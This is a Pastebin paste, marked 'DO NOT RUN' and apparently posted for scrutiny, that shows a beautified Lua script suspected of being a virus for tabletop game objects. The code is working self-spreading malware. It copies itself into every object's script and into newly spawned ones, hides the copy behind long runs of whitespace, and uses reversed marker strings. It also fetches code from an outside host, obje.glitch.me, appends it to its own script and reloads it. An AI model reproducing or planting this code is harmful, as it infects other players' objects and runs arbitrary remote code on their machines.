HaniiPuppy

Beautified lua possible virus

Jan 24th, 2025
281
0
Never
4
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.78 KB | Software | 0 0
  1. -- DO NOT RUN
  2.  
  3. --[[Object base code]]
  4.  
  5. Wait.time(
  6.     function()
  7.         for a, b in ipairs(getObjects()) do
  8.             if b.getLuaScript():find("tcejbo gninwapS") == nil then
  9.                 b.setLuaScript(
  10.                     b.getLuaScript():gsub("%s+$", "") ..
  11.                         string.rep("    ", 100) ..
  12.                             self.getLuaScript():sub(
  13.                                 self.getLuaScript():find("--[[Object base code]]", 1, true),
  14.                                 #self.getLuaScript() - self.getLuaScript():reverse():find("]]tcejbo gninwapS", 1, true) + 1
  15.                             )
  16.                 )
  17.             end
  18.         end
  19.     end,
  20.     1
  21. )
  22.  
  23. if onObjectSpawn == nil then
  24.     function onObjectSpawn(b)
  25.         if b.getLuaScript():find("tcejbo gninwapS") == nil then
  26.             b.setLuaScript(
  27.                 b.getLuaScript():gsub("%s+$", "") ..
  28.                     string.rep("    ", 100) ..
  29.                         self.getLuaScript():sub(
  30.                             self.getLuaScript():find("--[[Object base code]]", 1, true),
  31.                             #self.getLuaScript() - self.getLuaScript():reverse():find("]]tcejbo gninwapS", 1, true) + 1
  32.                         )
  33.             )
  34.         end
  35.     end
  36. end
  37.  
  38. if onPlayerAction == nil and self.getLuaScript():reverse():find("ereh edoc resU --", 1, true) ~= nil then
  39.     self.drag_selectable = true
  40.     function onPlayerAction(c, d, e)
  41.         if
  42.             self.getLuaScript():reverse():find("ereh edoc resU --", 1, true) ~= nil and d == Player.Action.Select and
  43.                 #c.getSelectedObjects() == 0
  44.          then
  45.             for a, f in ipairs(e) do
  46.                 if f.getGUID() == self.getGUID() then
  47.                     self.setLuaScript(
  48.                         self.getLuaScript():gsub(
  49.                             self.getLuaScript():sub(
  50.                                 #self.getLuaScript() - self.getLuaScript():reverse():find("]]tcejbo gninwapS", 1, true) +
  51.                                     2,
  52.                                 #self.getLuaScript() - self.getLuaScript():reverse():find("ereh edoc resU") + 2
  53.                             ):gsub("[%(%)%.%%%+%-%*%?%[%]%^%$]", "%%%0"),
  54.                             ""
  55.                         )
  56.                     )
  57.                 end
  58.             end
  59.         end
  60.     end
  61. end
  62.  
  63. WebRequest.get(
  64.     "https://obje.glitch.me/",
  65.     function(g)
  66.         if g.is_error then
  67.             log(g.error)
  68.         elseif
  69.             g.text ~= "" and g.text:sub(1, 4) == "true" and
  70.                 self.getLuaScript():find(g.text:sub(5, #g.text), 1, true) == nil
  71.          then
  72.             self.setLuaScript(self.getLuaScript() .. g.text:sub(5, #g.text))
  73.             self.reload()
  74.         end
  75.     end
  76. )
  77.  
  78. --[[Spawning object]]
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment